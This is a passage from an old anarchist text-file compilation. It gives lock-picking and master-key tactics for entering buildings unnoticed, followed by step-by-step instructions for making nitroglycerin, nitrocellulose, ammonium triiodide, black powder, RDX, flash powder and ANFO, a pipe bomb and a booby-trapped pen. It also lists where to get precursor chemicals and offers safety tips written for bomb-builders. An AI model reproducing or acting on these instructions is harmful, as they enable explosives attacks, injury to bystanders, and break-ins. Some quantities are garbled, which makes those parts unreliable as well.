from mic +measurements are more likely to work consistently than keys made by any other method. If you us tracings, it is likely to take many tries +before you obtain a key that works reliably. Also, if you can 'borrow' the cylinder and disassemble it, pin levels can be obtained and keys +constructed. +8.Simple locks, like desks, can be picked fairly easily. Many desks have simple three or four pin locks of only a few levels, and can be +consistently picked by a patient person in a few minutes. A small screwdriver and a paper clip will work wonders in practiced hands. +Apply a slight torque to the lock in the direction of opening with the screwdriver. Then 'rake' the pins with the unfolded paper clip. With +practice, you'll apply enough pressure with the screwdriver that the pins will align properly (they'll catch on the cylinder somewhere +between the top and bottom of their normal travel), and once they're all lined up, additional pressure on the screwdriver will then open the +lock. This, in conjunction with (7) can be very effective. This works better with older or sloppily machined locks that have a fair amount of +play in the cylinder. Even older quality locks can be picked in this manner, if their cylinders have been worn enough to give enough play to +allow pins to catch reliably. Even with a well worn quality lock, though, it generally takes a *lot* of patience. +9.Custodial services often open up everything in sight and then take breaks. Make the most of your opportunities. +10.No matter what you're doing, look like you belong there. Nothing makes anyone more suspicious than someone skulking about, obviously +trying to look inconspicuous. If there are several of you, have some innocuous and normal seeming warning method ("Hey, dummy! What +time is it?") so that they can get anything suspicious put away. Don't travel in large groups at 3AM. Remember, more than one car thief +has managed to enlist a cop's aid in breaking into a car. Remember this. Security people usually *like* to help people. Don't make them +suspicious or annoy them. If you do run into security people, try to make sure that there won't be any theft or break-ins reported there the +next day... +11.Consider the possibilities of master keys. Often, every lock in a building or department will have a common master (building entrance keys +are a common exception). Take apart some locks from different places that should have common masters, measure the different pin +lengths in each, and find lengths in common. Experiment. Then get into those places you're *really* curious about. +12.Control keys are fun, too. These keys allow the user to remove the lock's core, and are generally masters. (A pair of needle nose pliers or +similar tool can then be used to open the lock, if desired.) +SLIPPING A LOCK +The best material we've found for slips so far is soft sheet copper. It is quite flexible, so it can be worked into jambs easily, and can be prebent +as needed. In the plane of the sheet, however, it is fairly strong, and pulls nicely. Of course, if they're flexible enough, credit cards, +student Ids, etc., work just fine on locks that have been made slippable if the door jamb is wide enough. Wonderfully subtle, quick, and +delightfully effective. Don't leave home without one. +(Ill. #1) +The sheet should then be folded to produce an L, J, or U shaped device that looks like this: +________________________________________ +/________________________________________| +| | +| | L-shaped +| | +| | +|_| +(Ill. #2) +_____________________________ +/ ___________________________| +| | +| | J-shaped +| | +| |________ +\________| +(Ill. #3) +_____________________ +/ ___________________| +| | +| | +| | U-shaped +| | +| |____________________ +\____________________| +We hasten to add here that ma ny or most colleges and universities have very strict policies about unauthorized possession of keys. At most, it +is at least grounds for expulsion, even without filing criminal charges. Don't get caught with keys!!! The homemade ones are particularly +obvious, as they don't have the usual stamps and marks that the locksmiths put on to name and number the keys.] +We should also point out that if you make a nuisance of yourself, there are various nasty things that can be done to catch you and/or slow you +down. For instance, by putting special pin mechanisms in, locks can be made to trap any key used to open them. If you lose one this way, +what can I say? At least don't leave fingerprints on it. Or make sure they're someone else's. Too much mischief can also tempt the powers that +be to rekey. +187.Chemical Equivalent List II by Exodus +Anyone can get many chemicals from hardware stores, supermarkets, and drug stores to get the materials to make explosives or other +dangerous compounds. A would-be terrorist would merely need a station wagon and some money to acquire many of the chemicals named +here. +Chemical Used In Available at +Alcohol, Ethyl Alcoholic Beverages Liquor Stores +Solvents: 95% min for both Hardware Stores +Ammonia CLEAR Household Ammonia Supermarkets or 7 -Eleven +Ammonium Nirate Instant-Cold Paks Drug Stores +Fertilizers Medical Supply Stores +Nitrous Oxide Pressurizing Whip Cream Party Supply Stores +Poppers (like CO ctgs.) Head Shops +Magnesium Firestarters Surplus or Camping Stores +Lecithin Vitamins Pharmacies or Drug Stores +Mineral Oil Cooking, Laxative Supermarket or Drug Stores +Mercury Mercury Thermometers Supermarkets +Hardware Stores +Sulfuric Acid Uncharged Car Batteries Automotive Stores +Glycerine Pharmacies or Drug Stores +Sulfur Gardening Garden or Hardware Store +Charcoal Charcoal Grills Supermarkets +Gardening Stores +Sodium Nitrate Fertilizer Gardening Stores +Cellulose (Cotton) First Aid Drug Stores +Medical Supply Stores +Strontium Nitrate Road Flares Surplus or Auto Stores +Fuel Oil Kerosene Stoves Surplus or Camping Stores +Bottled Gas Propane Stoves Surplus Camping Stores +Potassium Permanganate Water Purification Purification Plants +Hexamine or Methenamine Hexamine Stoves Surplus or Camping Stores +Nitric Acid * Cleaning Printing Printing Shops +Plates Photography Stores +Iodine + Disinfectant (tinture) Pharmacy, OSCO +Sodium Perchlorate Solidox Pellets Hardware Stores +Cutting Torches (IMPURE) +* Nitric acid is very difficult to find nowadays. It is usually stolen by bomb makers, or made by the process described in a later section. A +desired concentration for making explosives about 70%. ++ The iodine sold in drug stores is usually not the pure crystalline form that is desired for producing ammonium triiodide crystals. To obtain the +pure form, it must usually be acquired by a doctor's prescription, but this can be expensive. Once again, theft is the means that terrorists +result to. +188.Nitroglycerin II by Exodus +Nitroglycerin is one of the most sensitive explosives, if it is not the most sensitive. Although it is possible to make it safely, it is difficult. Many a +young anarchist has been killed or seriously injured while trying to make the stuff. When Nobel's factories make it, many people were killed by +the all-to-frequent factory explosions. Usually, as soon as it is made, it is converted into a safer substance, such as dynamite. An idiot who +attempts to make nitroglycerin would use the following procedure: +MATERIAL: + Distilled Water + Table Salt + Sodium Bicarbonate + Concentrated Nitric Acid (13 mL) + Concentrated Sulfuric Acid (39 mL) + Glycerin +EQUIPMENT: + Eye-Dropper + 100 mL Beaker + 200-300 mL Beakers (2) + Ice Bath Container (A plastic bucket serves well) + Centigrade Thermometer + Blue Litmus Paper +1.Place 150 mL of distilled water into one of the 200-300 mL beakers. +2.In the other 200-300 mL beaker, place 150 mL of distilled water and about a spoonful of sodium bicarbonate, and stir them until the sodium +bicarbonate dissolves. Do not put so much sodium bicarbonate in the water so that some remains undissolved. +3.Create an ice bath by half filling the ice bath container with ice, and adding table salt. This will cause the ice to melt, lowering the overall +temperature. +4.Place the 100 mL beaker into the ice bath, and pour the 13 mL of concentrated nitric acid into the 100 mL beaker. Be sure that the beaker will +not spill into the ice bath, and that the ice bath will not overflow into the beaker when more materials are added to it. Be sure to have a +large enough ice bath container to add more ice. Bring the temperature of the acid down to about 20�C or less. +5.When the nitric acid is as cold as stated above, slowly and carefully add the 39 mL of concentrated sulfuric acid to the nitric acid. Mix the +two acids together, and cool the mixed acids to 10�C. It is a good idea to start another ice bath to do this. +6.With the eyedropper, slowly put the glycerin into the mixed acids, one drop at a time. Hold the thermometer along the top of the mixture +where the mixed acids and glycerin meet. +DO NOT ALLOW THE TEMPERATURE TO GET ABOVE 30 CENTIGRADE +IF THE TEMPERATURE RISES ABOVE THIS TEMPERATURE, WATCH OUT !! +7.The glycerin will start to nitrate immediately, and the temperature will immediately begin to rise. Add glycerin until there is a thin layer of +glycerin on top of the mixed acids. It is always safest to make any explosive in small quantities. +8.Stir the mixed acids and glycerin for the first ten minutes of nitration, adding ice and salt to the ice bath to keep the temperature of the solution +in the 100 mL beaker well below 30�C. Usually, the nitroglycerin will form on the top of the mixed acid solution, and the concentrated +sulfuric acid will absorb the water produced by the reaction. +9.When the reaction is over, and when the nitroglycerin is well below 30�C, slowly and carefully pour the solution of nitroglycerin and mixed +acid into the distilled water in the beaker in step 1. The nitroglycerin should settle to the bottom of the beaker, and the water-acid solution +on top can be poured off and disposed of. Drain as much of the acid- water solution as possible without disturbing the nitroglycerin. +10.Carefully remove the nitroglycerin with a clean eye-dropper, and place it into the beaker in step 2. The sodium bicarbonate solution will +eliminate much of the acid, which will make the nitroglycerin more stable, and less likely to explode for no reason, which it can do. Test the +nitroglycerin with the litmus paper until the litmus stays blue. Repeat this step if necessary, and use new sodium bicarbonate solutions as +in step 2. +11.When the nitroglycerin is as acid-free as possible, store it in a clean container in a safe place. The best place to store nitroglycerin is far +away from anything living, or from anything of any value. Nitroglycerin can explode for no apparent reason, even if it is stored in a secure +cool place. +189.Cellulose Nitrate by Exodus +I used to make nitrocellulose, though. It was not guncotton grade, because I didn't have petroleum (H2SO4 with dissolved SO3); nevertheless it +worked. At first I got my H2SO4 from a little shop in downtown Philadelphia, which sold soda-acid fire extinguisher refills. Not only was the +acid concentrated, cheap and plentiful, it came with enough carbonate to clean up. I'd add KNO3 and a little water (OK, I'd add the acid to the +water - but there was so little water, what was added to what made little difference. It spattered concentrated H2SO4 either way). Later on, +when I could purchase the acids, I believe I used 3 parts H2SO4 to 1 part HNO3. For cotton, I'd use cotton wool or cotton cloth. +Runaway nitration was commonplace, but it is usually not so disastrous with nitrocellulose as it is with nitroglycerin. For some reason, I tried +washing the cotton cloth in a solution of lye, and rinsing it well in distilled water. I let the cloth dry and then nitrated it. (Did I read this +somewhere?) When that product was nitrated, I never got a runaway reaction. By the way, water quenched the runaway reaction of +cellulose. +The product was washed thoroughly and allowed to dry. It dissolved (or turned into mush) in acetone. It dissolved in alcohol/ether. +WARNINGS +All usual warnings regarding strong acids apply. H2SO4 likes to spatter. When it falls on the skin, it destroys tissue - often painfully. It +dissolves all manner of clothing. Nitric also destroys skin, turning it bright yellow in the process. Nitric is an oxidant - it can start fires. Both +agents will happily blind you if you get them in your eyes. Other warnings also apply. Not for the novice. +Nitrocellulose decomposes very slowly on storage if it isn't stabilized. The decomposition is autocatalyzing, and can result in spontaneous +explosion if the material is kept confined over time. The process is much faster if the material is not washed well enough. Nitrocellulose +powders contain stabilizers such as diphenyl amine or ethyl centralite. DO NOT ALLOW THESE TO COME INTO CONTACT WITH NITRIC ACID!!!! +A small amount of either substance will capture the small amounts of nitrogen oxides that result from decomposition. They therefore inhibit the +autocatalysis. NC eventually will decompose in any case. +Again, this is inherently dangerous and illegal in certain areas. I got away with it. You may kill yourself and others if you try it. +Commercially produced Nitrocellulose is stabilized by: +1.Spinning it in a large centrifuge to remove the remaining acid, which is recycled. +2.Immersion in a large quantity of fresh water. +3.Boiling it in acidulated water and washing it thoroughly with fresh water. +If the NC is to be used as smokeless powder it is boiled in a soda solution, then rinsed in fresh water. +The purer the acid used (lower water content) the more complete the nitration will be, and the more powerful the nitrocellulose produced. +There are actually three forms of cellulose nitrate, only one of which is useful for pyrotechnic purposes. The mononitrate and dinitrate are not +explosive, and are produced by incomplete nitration. If nitration is allowed to proceed to complete the explosive trinatrate is formed. +(Ill. 3.22.2) +CH OH CH ONO +| 2 | 2 2 +| | +C-----O HNO C-----O +/H \ 3 /H \ +-CH CH-O- --> -CH CH-O- +\H H/ H SO \H H/ +C-----C 2 4 C-----C +| | | | +OH OH ONO ONO +2 2 +CELLULOSE CELLULOSE TRINITRATE +190.Starter Explosives by Exodus +There are nearly an infinite number of fuel-oxidizer mixtures that can be produced by a misguided individual in his own home. Some are very +effective and dangerous, while others are safer and less effective. A list of working fuel - oxidizer mixtures will be presented, but the exact +measurements of each compound are debatable for maximum effectiveness. A rough estimate will be given of the percentages of each fuel +and oxidizer: +Oxidizer % by weight Fuel % by weight Speed Notes +Potassium Chlorate 67% Sulfur 33% 5 Friction or Impact +Sensitive & Unstable +Potassium Chlorate 50% Sugar 35% 5 Fairly Slow Burning +Charcoal 15% Unstable +Potassium Chlorate 50% Sulfur 25% 8 Extremely Unstable! +Magnesium or 25% +Aluminum Dust 25% +Potassium Chlorate 67% Magnesium 33% 8 Unstable +Aluminum Dust 33% +Sodium Nitrate 65% Magnesium Dust 30% ? Unpredictable +Sulfur 5% +Potassium Permanganate 60% Glycerin 40% 4 Delay Before Ignition depends upon Grain Size +Potassium Permanganate 67% Sulfur 33% 5 Unstable +Potassium Permanganate 60% Sulfur 20% 5 Unstable +Magnesium or 20% +Aluminum Dust 20% +Potassium Permanganate 50% Sugar 50% 3 ? +Potassium Nitrate 75% Charcoal 15% 7 This is Black Powder! +Sulfur 10% +Potassium Nitrate 60% Powdered Iron or 40% 1 Burns Very Hot +Magnesium 40% +Potassium Chlorate 75% Phosphorus Sesquisulfide 25% 8 Used to make +strike-anywhere matches +Ammonium Perchlorate 70% Aluminum Dust 30% 6 Solid Fuel for Space Shuttle +Small amount of Iron Oxide +Potassium Perchlorate 67% Magnesium or 33% 10 Flash Powder +(Sodium Perchlorate) Aluminum Dust 33% +Potassium Perchlorate 60% Magnesium or 20% 8 Alternate +(Sodium Perchlorate) Aluminum Dust 20% Flash Powder +Sulfur 20% +Barium Nitrate 30% Aluminum Dust 30% 9 Alternate +Potassium Perchlorate 30% Flash Powder +Barium Peroxide 90% Magnesium Dust 5% 10 Alternate +Aluminum Dust 5% Flash Powder +Potassium Perchlorate 50% Sulfur 25% 8 Slightly Unstable +Magnesium or 25% +Aluminum Dust 25% +Potassium Chlorate 67% Red Phosphorus 27% 7 Very Unstable Impact Sensitive +Calcium Carbonate 3% +Sulfur 3% +Potassium Permanganate 50% powdered sugar 25% 7 Unstable +Aluminum or 25% Ignites if it gets wet! +Magnesium Dust 25% +Potassium Chlorate 75% Charcoal Dust 15% 6 Unstable +Sulfur 10% +WARNING: POTASSIUM PERMANGANATE IGNITES SPONTANEOUSLY WITH GLYCERIN!!! +NOTE: Mixtures that uses substitutions of sodium perchlorate for potassium perchlorate become moisture-absorbent and less stable. +The higher the speed number, the faster the fuel-oxidizer mixture burns AFTER ignition. Also, as a rule, the finer the powder, the faster the rate +of burning. +As one can easily see, there is a wide variety of fuel-oxidizer mixtures that can be made at home. By altering the amounts of fuel and +oxidizer(s), different burn rates can be achieved, but this also can change the sensitivity of the mixture. +191.Flash Powder By Dr. Tiel +Here are a few basic precautions to take if you're crazy enough to produce your own flash powder: +1.Grind the oxidizer (KNO3, KClO3, KMnO4, KClO4 etc.) separately in a clean vessel. +2.NEVER grind or sift the mixed composition. +3.Mix the composition on a large paper sheet, by rolling the composition back and forth. +4.Do not store flash compositions, especially any containing Mg. +5.Make very small quantities at first, so you can appreciate the power of such mixtures. +KNO3 50% (by weight) +Mg 50% +It is very important to have the KNO3 very dry, if evolution of ammonia is observed then the KNO3 has water in it. Very pure and dry KNO3 is +needed. KClO3 with Mg or Al metal powders works very well. Many hands, faces and lives have been lost with such compositions. KMnO4 +with Mg or Al is also an extremely powerful flash composition. KClO4 with Al is generally found in commercial fireworks, this does not mean +that it is safe, it is a little safer than KClO3 above. K�Cr�O7 can also be used as an oxidizer for flash powder. The finer the oxidizer and the +finer the metal powder the more powerful the explosive. This of course will also increase the sensitivity of the flash powder. +For a quick flash small quantities can be burnt in the open. Larger quantities (50g or more) ignited in the open can detonate, they do not need a +container to do so. +NOTE: Flash powder in any container will detonate. +Balanced equations of some oxidizer/metal reactions. Only major products are considered. Excess metal powders are generally used. This +excess burns with atmospheric oxygen. + 4 KNO3 + 10 Mg --> 2 K�O + 2 N + 10 MgO + Energy + KClO3 + 2 Al --> KCl + Al�O3 + Energy + 3 KClO4 + 8 Al --> 3 KCl + 4 Al�O3 + Energy + 6 KMnO4 + 14 Al --> 3 K�O + 7 Al�O3 + 6 Mn + Energy +Make Black Powder first if you have never worked with pyrotechnic materials, then think about this stuff. +Dr. Van Tiel - Ph.D. Chemistry +Potassium perchlorate is a lot safer than sodium/potassium chlorate. +192.The Explosive Pen by Blue Max +Here's a GREAT little trick to play on your best fiend (no that's not a typo) at school, or maybe as a practical joke on a friend! +Materials Needed: +1.One Ball Point "Click" pen +2.Gun Powder +3.8 or 10 match heads +4.1 Match stick +5.a sheet of sand paper (1 �" X 2") +Directions: +1.Unscrew pen and remove all parts but leave the button in the top. +2.Stick the match stick in the part of the pen clicker where the other little parts and the ink fill was. +3.Roll sand paper up and put around the match stick that is in the clicker. +4.Put the remaining Match Heads inside the pen, make sure that they are on the inside on the sand paper. +5.Put a small piece of paper or something in the other end of the pen where the ball point comes out. +6.Fill the end with the piece of paper in it with gun powder. The paper is to keep the powder from spilling. +The Finished pen should look like this: +Small Paper Clog Gun Powder Matches & Sandpaper \ +| | +\ | | +\ _________________|____________________|________ +<_______________________________|_______________|=== +193.Revised Pipe Bombs by Exodus +First, one flattens one end of a copper or aluminum pipe carefully, making sure not to tear or rip the piping. Then, the flat end of the pipe should +be folded over at least once, if this does not rip the pipe. A fuse hole should be drilled in the pipe near the now closed end, and the fuse should +be inserted. +Next, the bomb-builder would partially fill the casing with a low order explosive, and pack it with a large wad of tissue paper. He would then +flatten and fold the other end of the pipe with a pair of pliers. If he was not too dumb, he would do this slowly, since the process of folding and +bending metal gives off heat, which could set off the explosive. A diagram is presented below: +(Ill. #1) +�������Ŀ +������������������������������������������������ٳ � + o � +�����������������������������������������������Ŀ � +��������� +Fig. 1 - Pipe with one end flattened and fuse hole drilled. [Top view] +(Ill. #2) +�����Ŀ +�������������������������������������������� � + � + o � +�������������������������������������������Ŀ � +������� +Fig. 2 - Pipe with one end flattened and folded up. [Top view] +(Ill. #3) +����������� Fuse Hole +� +�������������������������o���Ŀ ����Ŀ + � ��Ŀ � + ����� � + �������� + �� +������������������������������� +Fig. 3 - Pipe with flattened and folded end. [Side view] +194.SAFETY TIPS -- HOW NOT TO GET KILLED by Exodus +An "own goal" is the death of a person on your side from one of your own devices. It is obvious that these should be avoided at all costs. +While no safety device is 100% reliable, it is usually better to err on the side of caution. +BASIC SAFETY RULES +1.DON'T SMOKE! (Don't laugh - an errant cigarette wiped out the Weathermen) +2.GRIND ALL INGREDIENTS SEPARATELY. It's surprising how friction sensitive some supposedly "safe" explosives really are. +3.ALLOW for a 20% margin of error - Just because the AVERAGE burning rate of a fuse is 30 secs/foot, don't depend on the 5 inches sticking +out of your pipe bomb to take exactly 2 minutes. +4.OVERESTIMATE THE RANGE OF YOUR SHRAPNEL. The cap from a pipe bomb can often travel a block or more at high velocities before +coming to rest - If you have to stay nearby, remember that if you can see it, it can kill you. +5.When mixing sensitive compounds (such as flash powder) avoid all sources of static electricity. Mix the ingredients by the method below: +HOW TO MIX INGREDIENTS +The best way to mix two dry chemicals to form an explosive is to do as the small-scale fireworks manufacturer's do: +Ingredients: + 1 large sheet of smooth paper (for example a page from a newspaper that does not use staples) + The dry chemicals needed for the desired compound. +1.Measure out the appropriate amounts of the two chemicals, and pour them in two small heaps near opposite corners of the sheet. +2.Pick up the sheet by the two corners near the powders, allowing the powders to roll towards the middle of the sheet. +3.By raising one corner and then the other, roll the powders back and forth in the middle of the open sheet, taking care not to let the mixture +spill from either of the loose ends. +4.Pour the powder off from the middle of the sheet, and use immediately. If it must be stored use airtight containers (35mm film canisters work +nicely) and store away from people, houses, and valuable items. +195.Ammonium TriIodide Crystals by Exodus +Ammonium triiodide crystals are foul-smelling purple colored crystals that decompose under the slightest amount of heat, friction, or shock, if +they are made with the purest ammonia (ammonium hydroxide) and iodine. Such crystals are said to detonate when a fly lands on them, or +when an ant walks across them. Household ammonia, however, has enough impurities, such as soaps and abrasive agents, so that the +crystals will detonate when thrown, crushed, or heated. Ammonia, when bought in stores comes in a variety of forms. The pine and cloudy +ammonias should not be bought; only the clear ammonia should be used to make ammonium triiodide crystals. Upon detonation, a loud report is +heard, and a cloud of purple iodine gas appears about the detonation site. Whatever the unfortunate surface that the crystal was detonated +upon will usually be ruined, as some of the iodine in the crystal is thrown about in a solid form, and iodine is corrosive. It leaves nasty, ugly, +permanent brownish-purple stains on whatever it contacts. Iodine gas is also bad news, since it can damage lungs, and it settles to the ground +and stains things there also. Touching iodine leaves brown stains on the skin that last for about a week, unless they are immediately and +vigorously washed off. While such a compound would have little use to a serious terrorist, a vandal could utilize them in damaging property. +Or, a terrorist could throw several of them into a crowd as a distraction, an action which would possibly injure a few people, but frighten +almost anyone, since a small crystal that may not be seen when thrown produces a rather loud explosion. +Ammonium triiodide crystals could be produced in the following manner: +Materials: + Iodine crystals + Clear ammonia (ammonium hydroxide, for the suicidal) +Equipment: + Funnel and filter paper + Paper towels + Two throw-away glass jars +1.Place about two teaspoons of iodine into one of the glass jars. The jars must both be throw away because they will never be clean again. +2.Add enough ammonia to completely cover the iodine. +3.Place the funnel into the other jar, and put the filter paper in the funnel. The technique for putting filter paper in a funnel is taught in every +basic chemistry lab class: fold the circular paper in half, so that a semi-circle is formed. Then, fold it in half again to form a triangle with +one curved side. Pull one thickness of paper out to form a cone, and place the cone into the funnel. +4.After allowing the iodine to soak in the ammonia for a while, pour the solution into the paper in the funnel through the filter paper. +5.While the solution is being filtered, put more ammonia into the first jar to wash any remaining crystals into the funnel as soon as it drains. +6.Collect all the purplish crystals without touching the brown filter paper, and place them on the paper towels to dry for about an hour. Make +sure that they are not too close to any lights or other sources of heat, as they could well detonate. While they are still wet, divide the wet +material into eight pieces of about the same size. +7.After they dry, gently place the crystals onto a one square inch piece of duct tape. Cover it with a similar piece, and gently press the duct +tape together around the crystal, making sure not to press the crystal itself. Finally, cut away most of the excess duct tape with a pair of +scissors, and store the crystals in a cool dry safe place. They have a shelf life of about a week, and they should be stored in individual +containers that can be thrown away, since they have a tendency to slowly decompose, a process which gives off iodine vapors, which +will stain whatever they settle on. One possible way to increase their shelf life is to store them in airtight containers. To use them, simply +throw them against any surface or place them where they will be stepped on or crushed. +196.Sulfuric Acid & Amm. Nitrate III by Exodus +Sulfuric acid is far too difficult to make outside of a laboratory or industrial plant. However, it is readily available in an uncharged car battery. A +person wishing to make sulfuric acid would simply remove the top of a car battery and pour the acid into a glass container. There would +probably be pieces of lead from the battery in the acid which would have to be removed, either by boiling or filtration. The concentration of the +sulfuric acid can also be increased by boiling it; very pure sulfuric acid pours slightly faster than clean motor oil. +AMMONIUM NITRATE +Ammonium nitrate is a very powerful but insensitive high-order explosive. It could be made very easily by pouring nitric acid into a large flask in +an ice bath. Then, by simply pouring household ammonia into the flask and running away, ammonium nitrate would be formed. After the +materials have stopped reacting, one would simply have to leave the solution in a warm place until all of the water and any unneutralized +ammonia or acid have evaporated. There would be a fine powder formed, which would be ammonium nitrate. It must be kept in an airtight +container, because of its tendency to pick up water from the air. The crystals formed in the above process would have to be heated VERY +gently to drive off the remaining water. +197.Black Powder III by Exodus +First made by the Chinese for use in fireworks, black powder was first used in weapons and explosives in the 12th century. It is very simple +to make, but it is not very powerful or safe. Only about 50% of black powder is converted to hot gasses when it is burned; the other half is +mostly very fine burned particles. Black powder has one major problem... it can be ignited by static electricity. This is very bad, and it means +that the material must be made with wooden or clay tools. Anyway, a misguided individual could manufacture black powder at home with the +following procedure: +MATERIALS: + Potassium Nitrate (75 g) -or- Sodium Nitrate (75 g) + Sulfur (10 g) + Charcoal (15 g) + Distilled Water +EQUIPMENT: + Clay grinding bowl and clay grinder -or- wooden salad bowl and wooden spoon + Plastic Bags (3) + 300-500 mL Beaker (1) + Coffee Pot or Heat Source +1.Place a small amount of the potassium or sodium nitrate in the grinding bowl and grind it to a very fine powder. Do this to all of the potassium +or sodium nitrate, and store the ground powder in one of the plastic bags. +2.Do the same thing to the sulfur and charcoal, storing each chemical in a separate plastic bag. +3.Place all of the finely ground potassium or sodium nitrate in the beaker, and add just enough boiling water to the chemical to get it all wet. +4.Add the contents of the other plastic bags to the wet potassium or sodium nitrate, and mix them well for several minutes. Do this until there is +no more visible sulfur or charcoal, or until the mixture is universally black. +5.On a warm sunny day, put the beaker outside in the direct sunlight. Sunlight is really the best way to dry black powder, since it is never too +hot, but it is hot enough to evaporate the water. +6.Scrape the black powder out of the beaker, and store it in a safe container. Plastic is really the safest container, followed by paper. Never +store black powder in a plastic bag, since plastic bags are prone to generate static electricity. +198.NitroCellulose by Exodus +Nitrocellulose is usually called "gunpowder" or "guncotton". It is more stable than black powder, and it produces a much greater volume of hot +gas. It also burns much faster than black powder when it is in a confined space. Finally, nitrocellulose is fairly easy to make, as outlined by the +following procedure: +MATERIALS: + Cotton (Cellulose) + Concentrated Nitric Acid + Concentrated Sulfuric Acid + Distilled Water +EQUIPMENT: + Two (2) 200-300 mL Beakers + Funnel and Filter Paper + Blue Litmus Paper +1.Pour 10 cc of concentrated sulfuric acid into the beaker. Add to this 10 cc of concentrated nitric acid. +2.Immediately add 0 gm of cotton, and allow it to soak for exactly 3 minutes. +3.Remove the nitrocotton, and transfer it to a beaker of distilled water to wash it in. +4.Allow the material to dry, and then re-wash it. +5.After the cotton is neutral when tested with litmus paper, it is ready to be dried and stored. +199.RDX II by Exodus +RDX, also called Cyclonite, or composition C-1 (when mixed with plasticisers) is one of the most valuable of all military explosives. This is +because it has more than 150% of the power of TNT, and is much easier to detonate. It should not be used alone, since it can be set off by a +not-too severe shock. It is less sensitive than Mercury Fulminate or Nitroglycerin, but it is still too sensitive to be used alone. +NO +2 +| +N +/ \ RDX MOLECULE +/ \ +H C H C +/ 2 2 +/ | +O N N--NO +2 \ / 2 +\ / +\ / +CH +2 +RDX can be made by the surprisingly simple method outlined hereafter. It is much easier to make in the home than all other high explosives, with +the possible exception of Ammonium Nitrate. +MATERIALS: + Hexamine -or- Methenamine Fuel Tablets (50 g) + Concentrated Nitric Acid (550 mL) + Ammonium Nitrate + Distilled Water + Table Salt + Ice +EQUIPMENT: + 500 mL Beaker + Glass Stirring Rod + Funnel and Filter Paper + Ice Bath Container (Plastic Bucket) + Centigrade Thermometer + Blue Litmus Paper +1.Place the beaker in the ice bath, (see steps 3-4) and carefully pour 550 mL of concentrated Nitric Acid into the beaker. +2.When the acid has cooled to below 20�C, add small amounts of the crushed fuel tablets to the beaker. The temperature will rise, and it must +be kept below 30�C, or dire consequences could result. Stir the mixture. +3.Drop the temperature below 0�C, either by adding more ice and salt to the old ice bath, or by creating a new ice bath. Ammonium Nitrate could +be added to the old ice bath, since it becomes cold when it is put in water. Continue stirring the mixture, keeping the temperature below +0�C for at least twenty minutes. +4.Pour the mixture into a liter of crushed ice. Shake and stir the mixture, and allow it to melt. Once it has melted, filter out the crystals, and +dispose of the corrosive liquid. +5.Place the crystals into one half a liter of boiling distilled water. Filter the crystals, and test them with the blue litmus paper. Repeat steps 4 and +5 until the litmus paper remains blue. This will make the crystals more stable and safe. +6.Store the crystals wet until ready for use. Allow them to dry completely using them. RDX is not stable enough to use alone as an explosive. +7.Composition C-1 can be made by mixing 88.3% RDX (by weight) with 11.1% mineral oil, and 0.6% lecithin. Kneed these material together in a +plastic bag. This is one way to desensitize the explosive. +8.HMX is a mixture of TNT and RDX; the ratio is 50/50, by weight. It is not as sensitive, and is almost as powerful as straight RDX. +9.By adding ammonium nitrate to the crystals of RDX after step 5, it should be possible to desensitize the RDX and increase its power, since +ammonium nitrate is very insensitive and powerful. Sodium or potassium nitrate could also be added; a small quantity is sufficient to +stabilize the RDX. +10.RDX detonates at a rate of 8550 meters/second when it is compressed to a density of 1�5 g/cubic cm. +200.Black Gate BBS by Exodus +������������������������������ +���� ����� +��� ᣒ?K G? �� ���� +��� ���� +��� ��� 1 ���� +��� ���� +��� ���� +��� ���� +���� ����� +����� ������ + ���?� 3.90 ���� ���� �?��_�? ��� +���� ������� ?H� +�������������������������������������������������� +��������� ��� ���������� +����� ����� ������ +� ����� �� +�������� +1* (20!)-YOU-SUCK ������� EliTe MaIL +2* (20!)-REAL-BAD ��������� -=( NO LEECHES )=- +��������� FL, PA, NY, CA +2 RinGdoWN 9600's ����������� CoNNexioNs +1 LocAl 57000 !@ ������������ +-0+ DaY WarEZ �����_���h� Sysop - Exodus +201.ANFOS by Dean S. +ANFO is an acronym for Ammonium Nitrate - Fuel Oil Solution. An ANFO solves the only other major problem with ammonium nitrate: its +tendency to pick up water vapor from the air. This results in the explosive failing to detonate when such an attempt is made. This is rectified by +mixing 94% (by weight) ammonium nitrate with 6% fuel oil, or kerosene. The kerosene keeps the ammonium nitrate from absorbing moisture +from the air. An ANFO also requires a large shockwave to set it off. +About ANFO +Lately there was been a lot said about various ANFO mixtures. These are mixtures of Ammonium Nitrate with Fuel Oil. This forms a reasonably +powerful commercial explosive, with its primary benefit being the fact that it is cheap. Bulk ANFO should run somewhere around 9-12 cents +the pound. This is dirt cheap compared to 40% nitro gel dynamites at 1 to 2 dollars the pound. To keep the cost down, it is frequently mixed at +the borehole by a bulk truck, which has a pneumatic delivery hopper of AN prills (that's pellets to most of the world) and a tank of fuel oil. It is +strongly recommended that a dye of some sort, preferably red be added to the fuel oil to make it easier to distinguish treated AN explosive from +untreated oxidizer. +ANFO is not without its problems. To begin with, it is not that sensitive to detonation. Number eight caps are not reliable when used with ANFO. +Booster charges must be used to avoid dud blast holes. Common boosters include sticks of various dynamites, small pours of water gel +explosives, dupont's detaprime cast boosters, and Atlas's power primer cast explosive. The need to use boosters raises the cost. Secondly, +ANFO is very water susceptible. It dissolves in it, or absorbs it from the atmosphere, and becomes quite worthless real quick. It must be +protected from water with borehole liners, and still must be shot real quick. Third, ANFO has a low density, somewhere around .85. This +means ANFO sacks float, which is no good, and additionally, the low density means the power is somewhat low. Generally, the more weight +of explosive one can place in a hole, the more effective. ANFO blown into the hole with a pneumatic system fractures as it is places, raising +the density to about .9 or .92. The delivery system adds to the cost, and must be anti static in nature. Aluminum is added to some commercial, +cartridge packaged ANFOs to raise the density---this also raises power considerable, and a few of these mixtures are reliably cap sensitive. +Now than, for formulations. An earlier article mentioned 2 kilos of ammonium nitrate, and I believe 5 to 6 liters of diesel. This mixture is +extremely over fueled, and I'd be surprised if it worked. Dupont recommends a AN to FO ratio of 93% AN to 7% FO by weight. Hardly any oil at +all. More oil makes the mixture less explosive by absorbing detonation energy, and excess fuel makes detonation byproducts health hazards as +the mixture is oxygen poor. Note that commercial fertilizer products do not work as well as the porous AN prills dupont sells, because +fertilizers are coated with various materials meant to seal them from moisture, which keep the oil from being absorbed. +Another problem with ANFO: for reliable detonation, it needs confinement, either from a casing, borehole, etc, or from the mass of the charge. +Thus, a pile of the stuff with a booster in it is likely to scatter and burn rather than explode when the booster is shot. In boreholes, or +reasonable strong casings (cardboard, or heavy plastic film sacks) the stuff detonated quite well. So will big piles. That's how the explosive +potential was discovered: a small oil freighter rammed a bulk chemical ship. Over several hours the cargoes intermixed to some degree, and +reached critical mass. Real big bang. A useful way to obtain the containment needed 